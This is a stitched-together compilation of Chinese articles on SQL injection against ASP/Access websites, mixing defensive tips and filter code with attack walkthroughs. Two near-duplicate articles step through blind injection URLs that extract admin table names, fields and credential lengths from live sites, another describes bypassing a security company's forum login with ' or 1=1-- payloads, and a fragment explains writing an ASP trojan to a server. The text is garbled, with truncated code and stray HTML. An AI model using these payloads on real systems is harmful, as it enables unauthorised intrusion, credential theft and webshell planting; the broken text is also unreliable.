第二步:对于注入分析器的防范,笔者通过实验,发现了一种简单有效的防范方法。首先我们要知道SQL注入分析器是如何工作的。在操作过程中,发现软件并不是冲着“admin”管理员账号去的,而是冲着权限(如flag=1)去的。这样一来,无论你的管理员账号怎么变都无法逃过检测。
  第三步:既然无法逃过检测,那我们就做两个账号,一个是普通的管理员账号,一个是防止注入的账号,为什么这么说呢?笔者想,如果找一个权限最大的账号制造假象,吸引软件的检测,而这个账号里的内容是大于千字以上的中文字符,就会迫使软件对这个账号进行分析的时候进入全负荷状态甚至资源耗尽而死机。下面我们就来修改数据库吧。
  1.对表结构进行修改。将管理员的账号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。
  2.对表进行修改。设置管理员权限的账号放在ID1,并输入大量中文字符(最好大于100个字)。
  3.把真正的管理员密码放在ID2后的任何一个位置(如放在ID549上)。
  我们通过上面的三步完成了对数据库的修改。
  这时是不是修改结束了呢?其实不然,要明白你做的ID1账号其实也是真正有权限的账号,现在计算机处理速度那么快,要是遇上个一定要将它算出来的软件,这也是不安全的。我想这时大多数人已经想到了办法,对,只要在管理员登录的页面文件中写入字符限制就行了!就算对方使用这个有上千字符的账号密码也会被挡住的,而真正的密码则可以不受限制。
 
 
 
 
 
 
 
 
 
 
lign=middle>请输入验证码


在左边框输入: <%=session("cntcode")%>
最后验证程序:
<%
if request("yanzhen")="" or trim(session("cntcode"))
<>trim(replace(request("yanzhen"),"","")) then
response.write " 请正确输入您的验证码。"
response.end
else
%>
程序运行效果如图2:
三:数据库安全
爆库的方法越来越多,我们来看下:如图3
按X档案以前文章一位大侠说的,将/替换为 %5c,确实很多网站都存在这样的漏洞。大家可以清楚的看到数据库地址。
偶什么方法可以预防呢?
。。。(代码见杂志)。。。。。。。。。。。
这是一个数据库连接文件,大部分为conn.asp
关键在与on error resume next出错了也执行下一句
我们看下他的运行效果。

除了图片显示不正常外,没暴露数据库:)
其实浪心建议用WIN2003做服务器,当你用%5c 来替换的时候
_blank>http://127.0.0.1/fourm.asp?cntid=4
自动换成%5cfourm.asp/多个/
_blank>http://127.0.0.1%5cfourm.asp/?cntid=4
找不到服务器,唯一的结果,更厉害:)
还有一种方法就是不让对方下载数据库
方法是
新建一个notdown表,字段为nodown, 数据类型为ole 如图4
保存为mdb.mdb
OK,我们写个nodown.asp
代码如下
。。。(代码见杂志)。。。。。。。。。。。
把他同数据库一同上传到你的空间,或者本地做个IIS,运行nodown.asp
提示添加记录成功。
OK,把数据库重新命名为mdb.asp
直接在浏览器里输入数据库地址:提示
Active Server Pages 错误 ASP 0116
丢失脚本关闭分隔符
/bbs/cntlovebbs.asp,行 44042
Script 块缺少脚本关闭标记(%>)。
用快车下载提示HTTP 500错误
OK到这里数据库安全也过去了:)下面说下浪心新的思维:)没任何技术难度,会VB的都会写:)
四:安全的后台登入
。。。(代码见杂志)。。。。。。。。。。。
OK了:)程序简单的出奇,他的功能可不小哦:)你的网站可以比以前安全许多。
SQL注入技术和跨站脚本攻击的检测
文章来源:黑基博客 
    在最近两年中,安全专家应该对网络应用层的攻击更加重视。因为无论你有多强壮的防火墙规则设置或者非常勤于补漏的修补机制,如果你的网络应用程序开发者没有遵循安全代码进行开发,攻击者将通过80端口进入你的系统。广泛被使用的两个主要攻击技术是SQL注入[ref1]和CSS[ref2]攻击。SQL注入是指:通过互联网的输入区域,插入SQL meta-characters(特殊字符代表一些数据)和指令,操纵执行后端的SQL查询的技术。这些攻击主要针对其他组织的WEB服务器。CSS攻击通过在URL里插入script标签,然后 诱导信任它们的用户点击它们,确保恶意Javascript代码在受害人的机器上运行。这些攻击利用了用户和服务器之间的信任关系,事实上服务器没有对输入、输出进行检测,从而未拒绝javascript代码。
这篇文章讨论SQL注入和CSS攻击漏洞的检测技术。网上已经有很多关于这两种基于WEB攻击的讨论,比如如何实施攻击,他们的影响,怎样更好的编制和设计程序防止这些攻击。 然而, 对如何检测这些攻击并没有足够的讨论。我们采用流行的开源的IDS Snort[ref 3],组建根据检测这些攻击的规则的正则表达式。附带,Snort默认规则设定包含检测CSS的方法,但是这些容易被避开检测。比如大多通过hex进制编码,如%3C%73%63%72%69%70% 74%3E代替. 因为大多数出版物和网络传播的检测网站是否有css漏洞都拿这个作为例子。这些尝试都可以很简单的被检测出来。 然而,高明点的攻击者可能用它的hex值替换整个字符串。这样"
Response.End
End If
Next
Next
Else
For Each RequestKey In Request.Form
For ForI=0 To Ubound(ErrorSql)
If Instr(LCase(Request.Form(RequestKey)),
ErrorSql(ForI))<>0 Then
response.write ""
Response.End
End If
Next
Next
End If
%>
第二个
Function Checkstr(Str)
If Isnull(Str) Then
CheckStr = ""
Exit Function
End If
Str = Replace(Str,Chr(0),"", 1, -1, 1)
Str = Replace(Str, """", """, 1, -1, 1)
Str = Replace(Str,"<;","<;", 1, -1, 1)
Str = Replace(Str,">;",">;", 1, -1, 1)
Str = Replace(Str, "script", "script", 1, -1, 0)
Str = Replace(Str, "SCRIPT", "SCRIPT", 1, -1, 0)
Str = Replace(Str, "Script", "Script", 1, -1, 0)
Str = Replace(Str, "script", "Script", 1, -1, 1)
Str = Replace(Str, "object", "object", 1, -1, 0)
Str = Replace(Str, "OBJECT", "OBJECT", 1, -1, 0)
Str = Replace(Str, "Object", "Object", 1, -1, 0)
Str = Replace(Str, "object", "Object", 1, -1, 1)
Str = Replace(Str, "applet", "applet", 1, -1, 0)
Str = Replace(Str, "APPLET", "APPLET", 1, -1, 0)
Str = Replace(Str, "Applet", "Applet", 1, -1, 0)
Str = Replace(Str, "applet", "Applet", 1, -1, 1)
Str = Replace(Str, "[", "[")
Str = Replace(Str, "]", "]")
Str = Replace(Str, """", "", 1, -1, 1)
Str = Replace(Str, "=", "=", 1, -1, 1)
Str = Replace(Str, "’", "’’", 1, -1, 1)
Str = Replace(Str, "select", "select", 1, -1, 1)
Str = Replace(Str, "execute", "execute", 1, -1, 1)
Str = Replace(Str, "exec", "exec", 1, -1, 1)
Str = Replace(Str, "join", "join", 1, -1, 1)
Str = Replace(Str, "union", "union", 1, -1, 1)
Str = Replace(Str, "where", "where", 1, -1, 1)
Str = Replace(Str, "insert", "insert", 1, -1, 1)
Str = Replace(Str, "delete", "delete", 1, -1, 1)
Str = Replace(Str, "update", "update", 1, -1, 1)
Str = Replace(Str, "like", "like", 1, -1, 1)
Str = Replace(Str, "drop", "drop", 1, -1, 1)
Str = Replace(Str, "create", "create", 1, -1, 1)
Str = Replace(Str, "rename", "rename", 1, -1, 1)
Str = Replace(Str, "count", "count", 1, -1, 1)
Str = Replace(Str, "chr", "chr", 1, -1, 1)
Str = Replace(Str, "mid", "mid", 1, -1, 1)
Str = Replace(Str, "truncate", "truncate", 1, -1, 1)
Str = Replace(Str, "nchar", "nchar", 1, -1, 1)
Str = Replace(Str, "char", "char", 1, -1, 1)
Str = Replace(Str, "alter", "alter", 1, -1, 1)
Str = Replace(Str, "cast", "cast", 1, -1, 1)
Str = Replace(Str, "exists", "exists", 1, -1, 1)
Str = Replace(Str,Chr(13),"<;br>;", 1, -1, 1)
CheckStr = Replace(Str,"’","’’", 1, -1, 1)
End Function
 蓝雨设计整站SQL注入漏洞
最近无聊,在网上走来走去看看。发现现在的整站系统可是越来越多了,修改版本等等的N多阿!而蓝雨设计整站的使用者也越来越多了,蓝雨整站系统是从NOWA 0.94修改而来的!基于NOWA的系统不单指蓝雨一个还有很多的!我在此就不一一列举了,核心都是一样,只是程序的附加功能就各自不同!安全方面因为基于NOWA的系统所以到目前知道的漏洞就只有上传而已。以下文章中就会出现NOWA修改系统漏洞当中从未有的SQL注入漏洞!只怪蓝雨修改程序的时候没有做好注入问题了!这个可不能怪我!谁叫人家程序设计员不会注意安全死角阿?
一,确定注入点
我们就拿官方网站进行测试,因为担心外面提供的版本并非最新版本导致文章的正确性有差异。首先我们提交http://***.net/view.asp?
action=art&art_id=70 and 1=1 返回以下信息。
再次输入
http://***.net/view.asp?
action=art&art_id=70%20and%201=2 返回以下信息
从标准的SQL注入点检测and1=1和and 1=2d 信息返回可以看出,两个图片的分别这个程序的评论存在着SQL注入,因为现在基于NOWA的修改版本都是基于ACCESS数据库架构的,所以我们可以进一步的确定这个程序的数据库类型。
二,猜解数据库表
因为本人懒惰所以只好借用NBSI进行SQL注入的工作了,怎么知道是不是因为的NBSI实在太厉害了,不能够杀鸡用牛刀。竟然它全部检测不出我所找到的SQL注入点存在着SQL注入!实在太令人感到吃惊(HaK_BaN:难道真的....真的要我手动注入T_T)NBSI太给面子了!所以我只好硬着头皮去进行手动注入了。首先猜解数据库的表是否存在admin表。构造语句提交
http://***.net/view.asp?
action=art&art_id=70%20and%200????
(select%20count(*)%20from%20admin) 现在的程序当中的数据库管理员表,不就是admin,adminuser user之类的名称,所以我们只要抓住程序作者的心理就可以知道了,提交语句之后页面返回正常,我们就可以确定数据库当中是存在admin这个表的。我们只是需要admin的密码以及账号,所以数据库当中其他的表可以忽略。
三,猜解数据库字段
在猜解之前为了减少更多的麻烦和无谓的猜解,应该要对于所入侵的网站进行一些资料的搜集,例如管理员的QQ以及管理员所使用的网名都是要知道的,因为我们通常都会使用容易记忆的密码以及账号,从而使自己可以不会忘记。找了文章页面等等的功能页面都找不到文章编辑以及管理员的QQ号码。只好在BBS当中寻找了,很幸运的是我们在BBS当中找到了“蓝雨”这个用户名,这样子等待会猜解admin账号的时候我们可以试试中文的名字或者是拼音字母。(HaK_BaN:我可是曾经在MSN以一个名字看穿PLMM性格以及生日的哦,大家要注意社会工程学的重要性阿)
废话少说,我们看看这个程序的管理员字段是什么!?首先猜解是name的提交语句如下http://***.net/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len(name)
??0) (HaK_BaN:*_*不是阿!不是NAME字段阿)提交语句后信息返回页面显示不正常就证实admin表中没有name这个字段名。看来又要想想如何去进行猜解了,既然name字段不行就试试admin_name字段行不行!再次构造猜解字段语句:
http://***.net/view.asp?action=
art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)??0) (HaK_BaN:这下子总可以了吧?我又迈进一步了!)提交语句之后页面返回正常了,这下子终于可以了。
然后,我们就开始猜解password的字段了,其实一看上面的回显我们就可以非常肯定的说password字段就是admin_password,所以提交的语句就是
http://***.net/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_password)??0) 信息回显正常对吧!?哈哈哈(
说到这里整个猜解就差不多完场了!(菜鸟:什么什么阿?还有账号和密码了?你丫的是不是傻了?)猜解密码和账号就更加是一个麻烦和浪费时间的活来的!好好,我们去看看账号和密码的猜解如何?首先我们猜解账号的长短阿!假设,我们之前就已经拿到了管理员常用的账号名称“蓝雨”是管理员账号。我们就有两种可能性,一是蓝雨的拼音“lanyu”,二是蓝雨的中文转为ASCII码进行猜解。我们首先试试拼音这个的可能性,如果是这样子的话我们就要构造admin_name的长度为5,所以提交语句为http://***.net/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)??5) 页面信息返回无法正常显示。
然后再提交http://fj126.net/view.asp?action=
art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)??4)
这下子页面可算是正常了!然后再次提交语句为
http://***.net/view.asp?
action=art&art_id=70%20and%201=(select%20count(*)
%20from%20admin%20where%20len
(admin_name)=5)
我们就可以确定admin_name的长度为5了。账号长度出来了,而password的长度我们还不知道,根据信息收集得知密码是利用MD5 16位加密的,所以我们可以猜解为密码长度是16位喔!提交语句http://***.net/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_password)=16)这里就不截图了!我们可以基本上就知道了!账号长度为5位,密码长度为16位。(HaK_BaN:说真的我很久没有手动了,都差不多腰酸背痛了!)至于账号是多少密码是多少我就不再列举了!经过测试刚刚的社会工程学得到的管理员账号为:lanyu是正确的!而密码的确是MD516位加密。整个过程可以利用臭要饭的CSC进行注入测试!
四,总结
整个程序的SQL注入页面有几个,都是基于蓝雨整站自身添加的功能页面没有做好相关的SQL注入导致的,如果大家有在使用这个程序的话,可以使用通用防止注入的脚本进行防止,虽然说MD5需要暴力破解,但是如果你真的得罪人的话,不要说破解了。可能你的网站都会被别人干的一干二净,网络安全是很重要的一部分,希望大家不要轻视安全这个环节!以上文章如有错误请大家指出,有什么问题可以到非安全的论坛或者BCT小组找我!
                                                                    SQL注入渗透某网络安全公司的网站全过程       
                                                                    

--------------------------------------------------------------------------------

                                                                    
                                                                    
前言:写这篇文章不是为了告诉大家如何去做入侵,而是希望提醒大家:“入侵是偶然的,但安全并不是必然的”,不要疏忽运作上的一些小细节。
笔者一直都有经常性地到一些安全方面的网站瞎逛的习惯的,最近因为一次机缘巧合之下通过链接来到广州某个颇有名气的网络安全公司的网站。说实在的,这个网站好象挺多元化的,提供软件下载之余,还有自己的论坛(嘿嘿,界面做得还真不赖嘛,不知道安全性如何呢?)。出于对其安全操守的好奇,小神决定义务为其做个的初步的“安全渗透测试”。开始时只是拿一些综合性的网络漏洞扫描工具(X-scan3.0、Nmap、Retina等等)进行信息扫描,然后做个结果筛选,结果只查到对方开了TCP80端口(也就是说他们的服务器只提供了正常的HTTP服务),且无任何典型的漏洞....没戏了,对方毕竟还是一间有些知名度的企业嘛(因为这篇文章的重点并不在此,所以用网络漏洞扫描器作信息扫描这个步骤我就不在这里多作说明了)。就这样放弃了吗?没那么容易...恰好小神最近在整理SQL Injection(SQL注入攻击)方面的资料,既然现在有机会就再“勉为其难”地帮它测试一下吧:P
------------------------------------------------------------------------------------------
提示:
问:什么是SQL注入?
答:这种攻击的要诀在于将SQL的查询/行为命令通过‘嵌入’的方式放入合法的HTTP提交请求中从而达到攻击者的某种意图。现在很多的动态网页都会从该网页使用者的请求中得到某些参数,然后动态的构成SQL请求发给数据库的。举个例子,当有某个用户需要通过网页上的用户登陆(用户身份验证)时,动态网页会将该用户提交上来的用户名与密码加进SQL询问请求发给数据库,用于确认该用户提交的身份验证信息是否有效。在SQL注入攻击的角度看来,这样可以使我们在发送SQL请求时通过修改用户名与/或密码值的‘领域’区来达到攻击的目的。
SQL注入技术的更多相关信息请看:
http://demonalex.nease.net/sql_injection/walkthrough.txt
------------------------------------------------------------------------------------------
首先是下载系统,随便抽一个工具的下载地址:
http://该安全公司的网址/某目录/download/open.asp?id=3444
------------------------------------------------------------------------------------------
附录:这里笔者用中文代替了某些敏感信息,还请各位见谅哦。
------------------------------------------------------------------------------------------
http://该安全公司的网址/某目录/download/open.asp?id=3444'
先测试一下对方有没有过滤'(单引号)...
示:
问:如何确认一个网站有SQL注入缺陷呢?
答:首先先加入某些特殊的字符标记,输入如:
hi' or 1=1--
寻找一些登陆页面,在其登陆ID与密码输入处,或URL中输入:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.htm?id=hi' or 1=1--
如果想以‘隐藏’的方式进行此类测试,你可以把该HTML网页从网站上下载至本地硬盘,修改其隐藏部分的值,如:
〈FORM action=http://duck/Search/search.asp method=post〉
〈input type=hidden name=A value="hi' or 1=1--"〉
〈/FORM〉
如果阁下是幸运的话估计现在已经可以不需要帐号与密码而‘成功登陆’了。
------------------------------------------------------------------------------------------
再试试下面的url,看看能否返回正常的页面...
http://该安全公司的网址/某目录/download/open.asp?id=3444"
http://该安全公司的网址/某目录/download/open.asp?id=3444' or 1=1--
http://该安全公司的网址/某目录/download/open.asp?id=3444" or 1=1--
http://该安全公司的网址/某目录/download/open.asp?id=3444' or 'a'='a
http://该安全公司的网址/某目录/download/open.asp?id=3444" or "a"="a
------------------------------------------------------------------------------------------
提示:
问:为什么要特意使用' or 1=1--来做测试呢?
答:让我们来看看其他例子中使用'or 1=1--的重要性吧。有别于正常的登陆方式,使用这样的登陆方式可能可以得到正常登陆中不能得到的某些特殊信息。用一个链接中得到的ASP页来打比方:
http://duck/index.htm?category=food
在上面这条URL中,'category'是一个变量名,而'food'是赋予该变量的值。为了做到这些(链接成功),这个ASP必须包含以下相关的代码(下面也是我们为了演示这个实验所写的代码):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
正如我们所看到的,变量值将会预先处理然后赋值于'v_cat',也就是说该SQL语句将会变为:
SELECT * FROM product WHERE PCategory='food'
这个请求将会返回通过WHERE条件比较后得到的结果,在这个例子中也就是'food'了。现在设想一下如果我们把该URL改成这样的话:
http://duck/index.htm?category=food' or 1=1--
现在我们的变量v_cat的值就等同于"food' or 1=1--"了,现在如果我们要重新代入那条SQL请求的话,那条SQL请求将会是:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
现在这个请求将会从product表中选取每一条信息而并不会去理会PCategory是否等于'food'。至于结尾部分的那两条'--'(破折号)则用于‘告诉’MS SQL SERVER忽略结尾最后的那个'(单引号)。有的时候也可以使用'#'(井号)来代替'--'(双破折号)在这里的用法。无论如何,如果对方不是一台SQL服务器(这里指的是MS SQL SERVER),或者你不能使用简单的方法去忽略最后的那个单引号的话,你可以尝试:
' or 'a'='a
这样的话整个SQL请求将会变为:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
它也会返回相同的结果。
根据实际情况,SQL注入请求是可以有多种动态变化的可能性的:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
------------------------------------------------------------------------------------------
都是返回“HTTP 500 - 内部服务器错误”,看来是又失败了,不怕,我们还有希望...此时的希望只能全部寄托在论坛上了...
循序渐进,首先找来一条帖子的url(这一步笔者挑了:http://该安全公司的网址/论坛目录/list.asp?ltid=14这条URL)重复刚刚的行为:
http://该安全公司的网址/论坛目录/list.asp?ltid=14'
http://该安全公司的网址/论坛目录/list.asp?ltid=14"
http://该安全公司的网址/论坛目录/list.asp?ltid=14' or 1=1--
http://该安全公司的网址/论坛目录/list.asp?ltid=14" or 1=1--
http://该安全公司的网址/论坛目录/list.asp?ltid=14' or 'a'='a
http://该安全公司的网址/论坛目录/list.asp?ltid=14" or "a"="a
不过看来还是在吃白果...(如下图所示)
除了地址栏,不要忘了还有论坛首页的登陆框:
在“用户名:”区域中输入:
网***' or 1=1--
然后在“密码:”区域中随便输入几个密码看看吧:P
------------------------------------------------------------------------------------------
附录:“网***”为我们在论坛首页中看到的那个版主帐号。
------------------------------------------------------------------------------------------
还是不行,试试在密码区域进行注入攻击吧...具体操作:
在“用户名:”中输入:
“网***”
然后在“密码:”中输入:
' or 1=1--
(提交后得到下图)
fail...再用:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
切换了几次,还是不行,看来真的是“坚不可摧”了...
“风继续吹,不忍远离...”小神的MP3里哼着‘哥哥’张国荣的歌,难道就这样离开吗?到论坛的首
页里再逛一圈吧....一扫眼,还真道灵光,注意一下论坛登陆区域上方的小链接,看到了吧?第三条
链接是什么呢?
单击后跳出如下图所示的登陆窗口:
首先在“论坛:”这一拦选中相应的版面(这里笔者挑了第一个版面“安全工具”),然后再重新尝试一下:
帐号: 网***' or 1=1--
密码: 任意密码
不行,再试试:
帐号: 网***
密码: ' or 1=1--
......
......
小神的手颤了一下,只因“有颜色的界面”出来了:
开始时以为是假象,连忙点击“进入后台>>>”...
这次看来是真的了,点击其中一条帖子再测试一下:
(看到了吧?有“删除”按钮了也...其实我们可以做的还不只这些...PS:小神可是个好孩子哦^_^)
写到这里,也算是有个交代了吧?!^@@^
整篇文章的主旨也不过就是介绍了如何简单地利用SQL注入攻击渗透论坛吧,其实现在再谈SQL注
入也是老生常谈了,但想不到连知名的网络安全公司也有这样的漏洞,归根结底就是人们对安全意识
的不重视而引起的,这篇文章告诉了我们:不要忽视运作中的一些小细节。                  
sql注入防御
网站的噩梦——SQL注入
SQL注入通过网页对网站数据库进行修改。它能够直接在数据库中添加具有管理员权限的用户,从而最终获得系统管理员权限。黑客可以利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序,对网站和访问该网站的网友都带来巨大危害。
防御SQL注入妙法
第一步:下载SQL通用防注入系统的程序,在需要防范注入的页面头部用




action="" onSubmit="return chk(this)" target="_blank">
cellpadding="0" cellspacing="0">















目标位置:type="text" id="ftpUrl" size="50">
例:http://127.0.0.1/FTP.ASP<;/td>
生成文件:
将在服务器上,生成的文件路径。例:
C:/Inetpub/wwwroot/Server.asp
文件代码:








版权所有:
XXXX(xx盟



在目标位置栏填上刚刚生成的ftp.asp文件的url地址
如 http://127.0.0.1/ftp.asp (这里假设服务器的ip是 127.0.0.1)
在生成文件栏 输入将在服务器上生成的文件名 比如:C:/Inetpub/wwwroot/Server.asp
在文件内容里 ,随意的粘贴一个asp代码
点递交,当http://127.0.0.1/ftp.asp 文件执行完毕 基本上服务器上的asp木马就生成了。
如何在SQL注入时保护数据库
SQL注入是防止数据库攻击的一个有效策略。攻击者将注入一个SQL语句到另外一个语句中,这个通常会损坏你的数据库。有数据库接口的Web站点通常在SQL注入的时候容易受到攻击,因为它们是基于动态的SQL;下面是一个简单的例子:
在一个ASP页面中会请求用户输入名字和密码,然后将下面的字符串发送到数据库中:
SELECT FROM users WHERE username =
’whatever’ AND password = ’mypassword’
这看起来很安全,实际上不是,一个用户可能会这样输入他的名字:
’ OR 1>0 –
当把这个输入到SQL语句中的时候,结果可能会象这样:
SELECT FROM users WHERE username
= ’’ OR 1>0 -- AND password = ’’
这个注入语言将通过语句暴露密码。这将导致所有的用户名都会在用户列表中,所以,任何用户都可以进入到你的系统中。
最简单阻止注入分类是分析SQL串并移动语句之前的任何“--”的发生。
同时,你要小心注入的时候含有分号,因为分号是给SQL语句分界。如果一个用户的名字是下面这个:
’ OR 1>0 ; DELETE Customers ; --
如果一个用户怀有恶意,那么他可以使用多种方法看穿你的系统,但是,最简单的方法就是避免动态的SQL,用存储过程来代替。使用SQL来遍历参数,注入上面所提到的将会产生进程错误,并且存储进程将不会被执行。
 天晨设计整站SQL注入漏洞
先发点牢骚,刚刚了一个陌生的城市(上海),很容易找到了个公司上班了,那就是天晨,在他们公司我负责的是安全,在这里,我没天都是在检测安全,先是服务器,后是整站,呵呵,很清楚的记得,我上了八天班,在这八天里面,我都是认真很认真的去把没个漏洞,一个一个的补上,担心的事终于来到了,呵呵,不知道是我的问题还是其他原因公司经理找我了,呵呵说我XXXX原因,不能继续留在公司,呵呵意料之中,当天晚上回到了朋友家里,说真的以我以前的个性,他们公司的安全都是我做的,什么问题我应该很清楚,但我没那么做,也很奇怪的是,就在哪个时候服务器好象出了问题,呵呵,也许上天都在为我抱不平,好人做到底,发个Email给他们吧,安全还存在问题!今天的遭遇,我没怨过任何人,只能怪自己太傻!总结一下,自己真的太傻了!在这里只想说一句,朋友谢谢你送我的书,我不会忘记,但我也同时当着全网络的同行送你一句,做人要厚道!
最近在网络上看天晨设计整站的使用者也越来越多了,天晨整站系统是从NOWA 0.94修改而来的!基于NOWA的系统不单指天晨一个还有很多的!我在此就不一一列举了,核心都是一样,只是程序的附加功能就各自不同!安全方面因为基于NOWA的系统所以到目前知道的漏洞就只有上传而已。以下文章中就会出现NOWA修改系统漏洞当中从未有的SQL注入漏洞!只怪天晨修改程序的时候没有做好注入问题了!这个可不能怪我!谁叫人家程序设计员不会注意安全死角啊?
一,确定注入点
我们就拿官方网站进行测试,因为担心外面提供的版本并非最新版本导致文章的正确性有差异。首先我们提交
http://***.com/view.asp?
action=art&art_id=70 and 1=1 返回。
再次输入
http://***.com/view.asp?
action=art&art_id=70%20and%201=2 返回
从标准的SQL注入点检测and1=1和and 1=2d 信息返回可以看出,两个图片的分别这个程序的评论存在着SQL注入,因为现在基于NOWA的修改版本都是基于ACCESS数据库架构的,所以我们可以进一步的确定这个程序的数据库类型。
二,猜解数据库表
因为本人懒惰所以只好借用NBSI进行SQL注入的工作了,怎么知道是不是因为的NBSI实在太厉害了,不能够杀鸡用牛刀。竟然它全部检测不出我所找到的SQL注入点存在着SQL注入!实在太令人感到吃惊,NBSI太给面子了!所以我只好硬着头皮去进行手动注入了。首先猜解数据库的表是否存在admin表。构造语句提交
http://***.com/view.asp?
action=art&art_id=70%20and%200????
(select%20count(*)%20from%20admin)
现在的程序当中的数据库管理员表,不就是admin,adminuser user之类的名称,所以我们只要抓住程序作者的心理就可以知道了,提交语句之后页面返回正常,我们就可以确定数据库当中是存在admin这个表的。我们只是需要admin的密码以及账号,所以数据库当中其他的表可以忽略。
三,猜解数据库字段
在猜解之前为了减少更多的麻烦和无谓的猜解,应该要对于所入侵的网站进行一些资料的搜集,例如管理员的QQ以及管理员所使用的网名都是要知道的,因为我们通常都会使用容易记忆的密码以及账号,从而使自己可以不会忘记。找了文章页面等等的功能页面都找不到文章编辑以及管理员的QQ号码。只好在BBS当中寻找了,很幸运的是我们在BBS当中找到了“天晨”这个用户名,这样子等待会猜解admin账号的时候我们可以试试中文的名字或者是拼音字母。(我可是曾经在MSN以一个名字看穿PLMM性格以及生日的哦,大家要注意社会工程学的重要性啊)
废话少说,我们看看这个程序的管理员字段是什么!?首先猜解是name的提交语句如下http://***.com/view.asp?
action=art&art_id=70%20and%201=(select%20count
(*)%20from%20admin%20where%20len(name)??0)
(*_*不是啊!不是NAME字段啊)提交语句后信息返回页面显示不正常就证实admin表中没有name这个字段名。看来又要想想如何去进行猜解了,既然name字段不行就试试admin_name字段行不行!再次构造猜解字段语句:
http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)??0)
(这下子总可以了吧?我又迈进一步了!)提交语句之后页面返回正常了,这下子终于可以了。
然后,我们就开始猜解password的字段了,其实一看上面的回显我们就可以非常肯定的说password字段就是admin_password,所以提交的语句就是
http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_password)??0)
信息回显正常对吧!?哈哈哈
说到这里整个猜解就差不多完场了!(什么什么阿?还有账号和密码了?你丫的是不是傻了?)猜解密码和账号就更加是一个麻烦和浪费时间的活来的!好好,我们去看看账号和密码的猜解如何?首先我们猜解账号的长短阿!假设,我们之前就已经拿到了管理员常用的账号名称“天晨”是管理员账号。我们就有两种可能性,一是天晨的拼音“tianchen或tinzn”,二是天晨的中文转为ASCII码进行猜解。我们首先试试拼音这个的可能性,如果是这样子的话我们就要构造admin_name的长度为5,所以提交语句为http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)??5) 页面信息返回无法正常显示。然后再提交
http://fj126.com/view.asp?
action=art&art_id=70%20and%201
=(select%20count(*)%20from%20admin%20where%20len
(admin_name)??4)这下子页面可算是正常了!然后再次提交语句为
http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)=5)
我们就可以确定admin_name的长度为5了。账号长度出来了,而password的长度我们还不知道,根据信息收集得知密码是利用MD5 16位加密的,所以我们可以猜解为密码长度是16位喔!提交语句http://***.com/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_password)=16)
这里就不截图了!我们可以基本上就知道了!账号长度为5位,密码长度为16位。至于账号是多少密码是多少我就不再列举了!经过测试刚刚的社会工程学得到的管理员账号为:tinzn是正确的!而密码的确是MD516位加密。整个过程可以利用臭要饭的CSC进行注入测试!
四,总结
整个程序的SQL注入页面有几个,都是基于天晨整站自身添加的功能页面没有做好相关的SQL注入导致的,如果大家有在使用这个程序的话,可以使用通用防止注入的脚本进行防止,虽然说MD5需要暴力破解,但是如果你真的得罪人的话,不要说破解了。可能你的网站都会被别人干的一干二净,网络安全是很重要的一部分,希望大家不要轻视安全这个环节!以上文章如有错误请大家指出,有什么问题可以到本人BLOG或者发Email找我!
浅谈sql注入式(SQL injection)攻击与防范
没有系统的学习过asp或者php编程,也没有系统的学习过access、sqlserver、mysql等数据库,所以我不是一个程序员,虽然经常干一些类似程序员的事情。
因为要建立自己的站点,3次改版下来,多少也写了几千行程序,加上对一些论坛、留言板、文章发布系统的测试,也发现了一些问题,现在与大家探讨。
在写这篇文章的时候,我除了在本机建立asp+access、asp+sql server测试环境,还在××安全网站、××市人才网、××网络公司的网站上进行了部分测试,在此谨表示歉意!我是选择在凌晨2点~3点开始的测试,而且仅限于检索操作,所以可以肯定的说对贵站几乎没有什么影响,用1个小时流量略多换取我给你们的安全报告,我想不会太亏吧,呵呵!
1、bak文件泄漏asp源代码
很多编辑工具,如Editplus、UltraEdit,默认情况下在保存文件的时候,都会自动备份一个.bak文件。如创建或者编辑config.asp文件,则编辑器会自动生成一个config.asp.bak文件,如果没有删除该文件,攻击者可以通过http://www.***.com/config.asp.bak来下载asp源程序。
可以想象,你的源程序被下载,被攻击的风险无疑大了很多。而如果是配置文件,呵呵,用户名、密码、数据库名称/位置……
解决办法:要么就直接关闭编辑器的自动备份功能,要么在上传的时候,删除所有.bak文件。
2、身份验证被绕过
一般网站有很多页面是需要身份验证通过以后才能访问的,而在这些页面需要对用户身份再次进行验证,但是很多程序员往往忽略了这一点。如果攻击者知道了这些页面的路径和文件名,就可以绕过身份验证,直接进入到该页面。如:需要用户通过login.asp页面登陆,经过身份验证才能打开manage.asp页面。攻击者可以通过http://www.***.com/manage.asp直接进入管理界面。
解决办法:在这些的页面开头进行身份确认。如:在身份验证通过以后传递一个session("login")="ok",在manage.asp开头加入
以下内容为程序代码:
if session("login")<>"ok" then
response.redirect "login.asp"
end if

上面2点说的都是编程的基础问题,下面就来讨论本文的重点,关于sql注入式攻击与防范。
3、asp程序数据库密码验证漏洞
